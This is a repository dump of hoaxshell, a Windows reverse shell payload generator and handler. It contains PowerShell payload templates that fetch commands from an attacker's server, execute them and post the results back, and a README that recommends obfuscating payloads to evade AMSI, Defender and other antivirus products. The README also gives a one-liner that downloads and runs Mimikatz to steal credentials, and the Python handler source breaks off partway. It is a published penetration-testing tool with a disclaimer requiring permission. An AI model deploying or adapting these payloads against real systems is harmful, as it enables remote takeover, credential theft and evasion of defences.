├── requirements.txt ├── screenshots ├── mimikatz.png ├── hoaxshell-win10.png ├── hoaxshell-win11.png ├── Bit Defender │ ├── image.png │ ├── image2.png │ ├── image3.png │ ├── image4.png │ ├── image5.png │ └── image6.png └── hoaxshell-win11-v2.png ├── payload_templates ├── http_payload.ps1 ├── https_payload_trusted.ps1 ├── http_payload_outfile.ps1 ├── https_payload_trusted_outfile.ps1 ├── https_payload_localtunnel.ps1 ├── https_payload_ngrok.ps1 ├── https_payload_localtunnel_outfile.ps1 ├── https_payload_ngrok_outfile.ps1 ├── https_payload.ps1 └── https_payload_outfile.ps1 ├── LICENSE.md ├── README.md └── hoaxshell.py /requirements.txt: -------------------------------------------------------------------------------- 1 | gnureadline==8.1.2 2 | ipython==8.4.0 3 | -------------------------------------------------------------------------------- /screenshots/mimikatz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/mimikatz.png -------------------------------------------------------------------------------- /screenshots/hoaxshell-win10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/hoaxshell-win10.png -------------------------------------------------------------------------------- /screenshots/hoaxshell-win11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/hoaxshell-win11.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/Bit Defender/image.png -------------------------------------------------------------------------------- /screenshots/hoaxshell-win11-v2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/hoaxshell-win11-v2.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/Bit Defender/image2.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/Bit Defender/image3.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/Bit Defender/image4.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/Bit Defender/image5.png -------------------------------------------------------------------------------- /screenshots/Bit Defender/image6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/e1abrador/hoaxshell/main/screenshots/Bit Defender/image6.png -------------------------------------------------------------------------------- /payload_templates/http_payload.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_trusted.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/http_payload_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_trusted_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_localtunnel.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_ngrok.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_localtunnel_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"Bypass-Tunnel-Reminder"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload_ngrok_outfile.ps1: -------------------------------------------------------------------------------- 1 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i;"ngrok-skip-browser-warning"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 2 | -------------------------------------------------------------------------------- /payload_templates/https_payload.ps1: -------------------------------------------------------------------------------- 1 | add-type @" 2 | using System.Net;using System.Security.Cryptography.X509Certificates; 3 | public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( 4 | ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} 5 | "@ 6 | [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy 7 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 8 | -------------------------------------------------------------------------------- /payload_templates/https_payload_outfile.ps1: -------------------------------------------------------------------------------- 1 | add-type @" 2 | using System.Net;using System.Security.Cryptography.X509Certificates; 3 | public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( 4 | ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} 5 | "@ 6 | [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy 7 | $s='*SERVERIP*';$i='*SESSIONID*';$p='https://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*} 8 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) 2022, Panagiotis Chartas 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hoaxshell 2 | [![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/) 3 | 4 | 5 | [![License](https://img.shields.io/badge/License-BSD-red.svg)](https://github.com/t3l3machus/hoaxshell/blob/main/LICENSE.md) 6 | 7 | 8 | ### ⚡ Check out the evolution of this tool -> [github.com/t3l3machus/Villain](https://github.com/t3l3machus/Villain) ⚡ 9 | 10 | #### :warning: As of 2022-10-18, hoaxshell is detected by AMSI ([malware-encyclopedia](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=VirTool%3aPowerShell%2fXoashell.A&threatid=2147833654)). You need to obfuscate the generated payload in order to use. Check out this video on how to obfuscate manually and bypass MS Defender: 11 | - Example with Hoaxshell -> [youtube.com/watch?v=iElVfagdCD4](https://www.youtube.com/watch?v=iElVfagdCD4) 12 | - Example with common powershell r-shell -> [youtube.com/watch?v=3HddKylkRzM](https://www.youtube.com/watch?v=3HddKylkRzM) 13 | 14 | ## Purpose 15 | hoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell, based on the following concept: 16 | 17 | ![image](https://user-images.githubusercontent.com/75489922/197529603-1c9238ea-af14-41f7-8834-dd37ad77e809.png) 18 | 19 | This concept (which could possibly be implemented by using protocols other than http or even sockets / pre-installed exes) can be used to establish sessions that promote the illusion of having an actuall shell. Compared to traditional reverse shells this is kind of fake, that's why despite the name of the tool, i like to reffer to such implementations as a hoaxshell. 20 | 21 | A bit unconventional as it is, hoaxshell did well against AV solutions (check [AV bypass PoCs table](#AV-Bypass-PoCs) for more info). Although it is now detected by Microsoft Defender, it is easy to obfuscate the generated payload(s) using other tools or even manually. 22 | 23 | Tested against fully updated **Windows 11 Enterprise**, **Windows Server 2016 Datacenter** and **Windows 10 Pro** boxes. 24 | 25 | **Disclaimer**: Purely made for testing and educational purposes. DO NOT run the payloads generated by this tool against hosts that you do not have explicit permission and authorization to test. You are responsible for any trouble you may cause by using this tool. 26 | 27 | ### Video Presentations 28 | [2022-10-11] Recent & awesome, made by @JohnHammond -> [youtube.com/watch?v=fgSARG82TJY](https://www.youtube.com/watch?v=fgSARG82TJY) 29 | [2022-07-15] Original release demo, made by me -> [youtube.com/watch?v=SEufgD5UxdU](https://www.youtube.com/watch?v=SEufgD5UxdU) 30 | 31 | ## Screenshots 32 | ![image](https://user-images.githubusercontent.com/75489922/196024757-fcb13b73-153c-426f-a87c-bf35fd3e784d.png) 33 | 34 | Find more screenshots [here](screenshots/). 35 | 36 | ## Installation 37 | ``` 38 | git clone https://github.com/t3l3machus/hoaxshell 39 | cd ./hoaxshell 40 | sudo pip3 install -r requirements.txt 41 | chmod +x hoaxshell.py 42 | ``` 43 | 44 | ## Usage 45 | **Important**: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the `-g` option to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell. 46 | 47 | ### Basic shell session over http 48 | When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the `-r` argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it. 49 | 50 | #### Payload that utilizes `Invoke-Expression` (default) 51 | ``` 52 | sudo python3 hoaxshell.py -s 53 | ``` 54 | 55 | #### Payload that writes and executes commands from a file 56 | Use `-x` to provide a .ps1 file name (absolute path) to be created on the victim machine. You should check the raw payload before executing, make sure the path you provided is solid. 57 | ``` 58 | sudo python3 hoaxshell.py -s -x "C:\Users\\\$env:USERNAME\.local\hack.ps1" 59 | ``` 60 | 61 | ### Recommended usage to avoid detection (over http) 62 | Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules. Use -H to provide a standard or custom http header name to avoid detection. 63 | ``` 64 | sudo python3 hoaxshell.py -s -i -H "Authorization" 65 | sudo python3 hoaxshell.py -s -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1" 66 | ``` 67 | 68 | ### Encrypted shell session (https + self-signed certificate) 69 | This particular payload is kind of a red flag, as it begins with an additional block of code that instructs PowerShell to skip SSL certificate checks, which makes it suspicious and easy to detect as well as significantly longer in length. Not recommended. 70 | ``` 71 | # Generate self-signed certificate: 72 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 73 | 74 | # Pass the cert.pem and key.pem as arguments: 75 | sudo python3 hoaxshell.py -s -c -k 76 | 77 | ``` 78 | 79 | ### Encrypted shell session with a trusted certificate 80 | If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem). 81 | ``` 82 | sudo python3 hoaxshell.py -s -t -c -k 83 | ``` 84 | 85 | ### Grab session mode 86 | In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine. 87 | ``` 88 | sudo python3 hoaxshell.py -s -g 89 | ``` 90 | **Important**: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc). 91 | 92 | ### Constraint language mode support 93 | Use any of the payload variations with the `-cm` (--constraint-mode) option to generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy. 94 | 95 | ``` 96 | sudo python3 hoaxshell.py -s -cm 97 | ``` 98 | ![image](https://user-images.githubusercontent.com/75489922/195785804-7fa3da9b-a10f-4c72-895a-0648271e7ec6.png) 99 | 100 | 101 | ### Shell session over https using tunneling tools ([Ngrok](https://ngrok.com) / [LocalTunnel](https://localtunnel.me)) 102 | Utilize tunnelling programmes **Ngrok** or **LocalTunnel** to get sessions through secure tunnels, overcominge issues like not having a Static IP address or your ISP forbidding Port-Forwarding. 103 | 104 | Use `-ng` or `--ngrok` for Ngrok server 105 | ``` 106 | sudo python3 hoaxshell.py -ng 107 | ``` 108 | 109 | Use `-lt` or `--localtunnel` for LocalTunnel server 110 | ``` 111 | sudo python3 hoaxshell.py -lt 112 | ``` 113 | 114 | ## Limitations 115 | The shell is going to hang if you execute a command that initiates an interactive session. Example: 116 | ``` 117 | # this command will execute succesfully and you will have no problem: 118 | > powershell echo 'This is a test' 119 | 120 | # But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang: 121 | > powershell 122 | 123 | # In the same manner, you won't have a problem executing this: 124 | > cmd /c dir /a 125 | 126 | # But this will cause your hoaxshell to hang: 127 | > cmd.exe 128 | ``` 129 | 130 | So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands: 131 | ``` 132 | hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"' 133 | ``` 134 | Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context. 135 | 136 | ## AV Bypass PoCs 137 | Some awesome people were kind enough to send me/publish PoC videos of executing hoaxshell's payloads against systems running AV solutions other than MS Defender, without being detected. Below is a reference table with links: 138 | 139 | **Important**: I don't know if you can still use hoaxshell effectively to bypass these solutions. It's only reasonable to assume the detectability will change soon (if not already). 140 | 141 | | AV Solution | Date | PoC | 142 | |---|---|---| 143 | | SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 | 144 | | Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 | 145 | | Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop | 146 | | McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 | 147 | | Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk | 148 | | Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k | 149 | 150 | 151 | ## News 152 | - `13/10/2022` - Added constraint language mode support (-cm) option. 153 | - `08/10/2022` - Added the `-ng` and `-lt` options that generate PS payloads for obtaining sessions using tunnelling tools **ngrok** or **localtunnel** in order to get around limitations like Static IP addresses and Port-Forwarding. 154 | - `06/09/2022` - A new payload was added that writes the commands to be executed in a file instead of utilizing `Invoke-Expression`. To use this, the user must provide a .ps1 file name (absolute path) on the victim machine using the `-x` option. 155 | - `04/09/2022` - Modifications were made to improve the command delivery mechanism as it included components that could be easily flagged. The `-t` option along with the `https_payload_trusted.ps1` were added. You can now use hoaxshell by supplying a domain name along with a trusted certificate. This will generate a shorter and less detectable https payload. 156 | - `01/09/2022` - Added the `-H` option which allows users to give a custom name to the (random by default) header utilized in the attack process, carring the shell's session id. This makes the attack less detectable e.g. by using a standard header name e.g. "Authorization". 157 | - `31/08/2022` - Added the `-i` option that generates the PS payload adjusted to use "Invoke-RestMethod' instead of 'Invoke-WebRequest' utility, so now the user can choose (thanks to this [issue](https://github.com/t3l3machus/hoaxshell/issues/8)). I also fixed a bug that existed in the prompt (it sometimes messed the path). 158 | -------------------------------------------------------------------------------- /hoaxshell.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | # 3 | # Author: Panagiotis Chartas (t3l3machus) 4 | # https://github.com/t3l3machus 5 | 6 | from http.server import HTTPServer, BaseHTTPRequestHandler 7 | import ssl, sys, argparse, base64, gnureadline, uuid, re 8 | from os import system, path 9 | from warnings import filterwarnings 10 | from datetime import date, datetime 11 | from IPython.display import display 12 | from threading import Thread, Event 13 | from time import sleep 14 | from ipaddress import ip_address 15 | from subprocess import check_output, Popen, PIPE 16 | from string import ascii_uppercase, ascii_lowercase 17 | from platform import system as get_system_type 18 | from random import randint 19 | 20 | filterwarnings("ignore", category = DeprecationWarning) 21 | 22 | ''' Colors ''' 23 | MAIN = '\033[38;5;50m' 24 | PLOAD = '\033[38;5;119m' 25 | GREEN = '\033[38;5;47m' 26 | BLUE = '\033[0;38;5;12m' 27 | ORANGE = '\033[0;38;5;214m' 28 | RED = '\033[1;31m' 29 | END = '\033[0m' 30 | BOLD = '\033[1m' 31 | 32 | 33 | ''' MSG Prefixes ''' 34 | INFO = f'{MAIN}Info{END}' 35 | WARN = f'{ORANGE}Warning{END}' 36 | IMPORTANT = WARN = f'{ORANGE}Important{END}' 37 | FAILED = f'{RED}Fail{END}' 38 | DEBUG = f'{ORANGE}Debug{END}' 39 | 40 | # Enable ansi escape characters 41 | def chill(): 42 | pass 43 | 44 | WINDOWS = True if get_system_type() == 'Windows' else False 45 | system('') if WINDOWS else chill() 46 | 47 | 48 | # -------------- Arguments & Usage -------------- # 49 | parser = argparse.ArgumentParser( 50 | formatter_class=argparse.RawTextHelpFormatter, 51 | epilog=''' 52 | 53 | Usage examples: 54 | 55 | - Basic shell session over http: 56 | 57 | sudo python3 hoaxshell.py -s 58 | 59 | - Recommended usage to avoid detection (over http): 60 | 61 | # Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules. 62 | # Use -H to provide a standard or custom http header name to avoid detection. 63 | sudo python3 hoaxshell.py -s -i -H "Authorization" 64 | 65 | # The same but with --exec-outfile (-x) 66 | sudo python3 hoaxshell.py -s -i -H "Authorization" -x "C:\\Users\\\\\\$env:USERNAME\.local\hack.ps1" 67 | 68 | - Encrypted shell session (https): 69 | 70 | # First you need to generate self-signed certificates: 71 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 72 | sudo python3 hoaxshell.py -s -c -k 73 | 74 | - Encrypted shell session with a trusted certificate: 75 | 76 | sudo python3 hoaxshell.py -s -t -c -k 77 | 78 | - Encrypted shell session with reverse proxy tunneling tools: 79 | 80 | sudo python3 hoaxshell.py -lt 81 | 82 | OR 83 | 84 | sudo python3 hoaxshell.py -ng 85 | 86 | 87 | ''' 88 | ) 89 | 90 | parser.add_argument("-s", "--server-ip", action="store", help = "Your hoaxshell server ip address or domain.") 91 | parser.add_argument("-c", "--certfile", action="store", help = "Path to your ssl certificate.") 92 | parser.add_argument("-k", "--keyfile", action="store", help = "Path to the private key for your certificate.") 93 | parser.add_argument("-p", "--port", action="store", help = "Your hoaxshell server port (default: 8080 over http, 443 over https).", type = int) 94 | parser.add_argument("-f", "--frequency", action="store", help = "Frequency of cmd execution queue cycle (A low value creates a faster shell but produces more http traffic. *Less than 0.8 will cause trouble. default: 0.8s).", type = float) 95 | parser.add_argument("-i", "--invoke-restmethod", action="store_true", help = "Generate payload using the 'Invoke-RestMethod' instead of the default 'Invoke-WebRequest' utility.") 96 | parser.add_argument("-H", "--Header", action="store", help = "Hoaxshell utilizes a non-standard header to transfer the session id between requests. A random name is given to that header by default. Use this option to set a custom header name.") 97 | parser.add_argument("-x", "--exec-outfile", action="store", help = "Provide a filename (absolute path) on the victim machine to write and execute commands from instead of using \"Invoke-Expression\". The path better be quoted. Be careful when using special chars in the path (e.g. $env:USERNAME) as they must be properly escaped. See usage examples for details. CAUTION: you won't be able to change directory with this method. Your commands must include ablsolute paths to files etc.") 98 | parser.add_argument("-r", "--raw-payload", action="store_true", help = "Generate raw payload instead of base64 encoded.") 99 | parser.add_argument("-o", "--obfuscate", action="store_true", help = "Obfuscate generated payload.") 100 | parser.add_argument("-v", "--server-version", action="store", help = "Provide a value for the \"Server\" response header (default: Apache/2.4.1)") 101 | parser.add_argument("-g", "--grab", action="store_true", help = "Attempts to restore a live session (default: false).") 102 | parser.add_argument("-t", "--trusted-domain", action="store_true", help = "If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem). See usage examples for more details.") 103 | parser.add_argument("-cm", "--constraint-mode", action="store_true", help="Generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell's stdout decoding accuracy.") 104 | parser.add_argument("-lt", "--localtunnel", action="store_true", help="Generate Payload with localtunnel") 105 | parser.add_argument("-ng", "--ngrok", action="store_true",help="Generate Payload with Ngrok") 106 | parser.add_argument("-u", "--update", action="store_true", help = "Pull the latest version from the original repo.") 107 | parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.") 108 | 109 | args = parser.parse_args() 110 | 111 | 112 | def exit_with_msg(msg): 113 | print(f"[{DEBUG}] {msg}") 114 | sys.exit(0) 115 | 116 | 117 | # Check if port is valid. 118 | if args.port: 119 | if args.port < 1 or args.port > 65535: 120 | exit_with_msg('Port number is not valid.') 121 | 122 | # Check if both cert and key files were provided 123 | if (args.certfile and not args.keyfile) or (args.keyfile and not args.certfile): 124 | exit_with_msg('Failed to start over https. Missing key or cert file (check -h for more details).') 125 | 126 | ssl_support = True if args.certfile and args.keyfile else False 127 | 128 | # -------------- General Functions -------------- # 129 | def print_banner(): 130 | 131 | padding = ' ' 132 | 133 | H = [[' ', '┐', ' ', '┌'], [' ', '├','╫','┤'], [' ', '┘',' ','└']] 134 | O = [[' ', '┌','─','┐'], [' ', '│',' ','│'], [' ', '└','─','┘']] 135 | A = [[' ', '┌','─','┐'], [' ', '├','─','┤'], [' ', '┴',' ','┴']] 136 | X = [[' ', '─','┐',' ','┬'], [' ', '┌','┴','┬', '┘'], [' ', '┴',' ','└','─']] 137 | S = [[' ', '┌','─','┐'], [' ', '└','─','┐'], [' ', '└','─','┘']] 138 | H = [[' ', '┬',' ','┬'], [' ', '├','─','┤'], [' ', '┴',' ','┴']] 139 | E = [[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '└','─','┘']] 140 | L = [[' ', '┬',' ',' '], [' ', '│',' ', ' '], [' ', '┴','─','┘']] 141 | 142 | banner = [H,O,A,X,S,H,E,L,L] 143 | final = [] 144 | print('\r') 145 | init_color = 36 146 | txt_color = init_color 147 | cl = 0 148 | 149 | for charset in range(0, 3): 150 | for pos in range(0, len(banner)): 151 | for i in range(0, len(banner[pos][charset])): 152 | clr = f'\033[38;5;{txt_color}m' 153 | char = f'{clr}{banner[pos][charset][i]}' 154 | final.append(char) 155 | cl += 1 156 | txt_color = txt_color + 36 if cl <= 3 else txt_color 157 | 158 | cl = 0 159 | 160 | txt_color = init_color 161 | init_color += 31 162 | 163 | if charset < 2: final.append('\n ') 164 | 165 | print(f" {''.join(final)}") 166 | print(f'{END}{padding} by t3l3machus\n') 167 | 168 | 169 | 170 | def promptHelpMsg(): 171 | print( 172 | ''' 173 | \r Command Description 174 | \r ------- ----------- 175 | \r help Print this message. 176 | \r payload Print payload (base64). 177 | \r 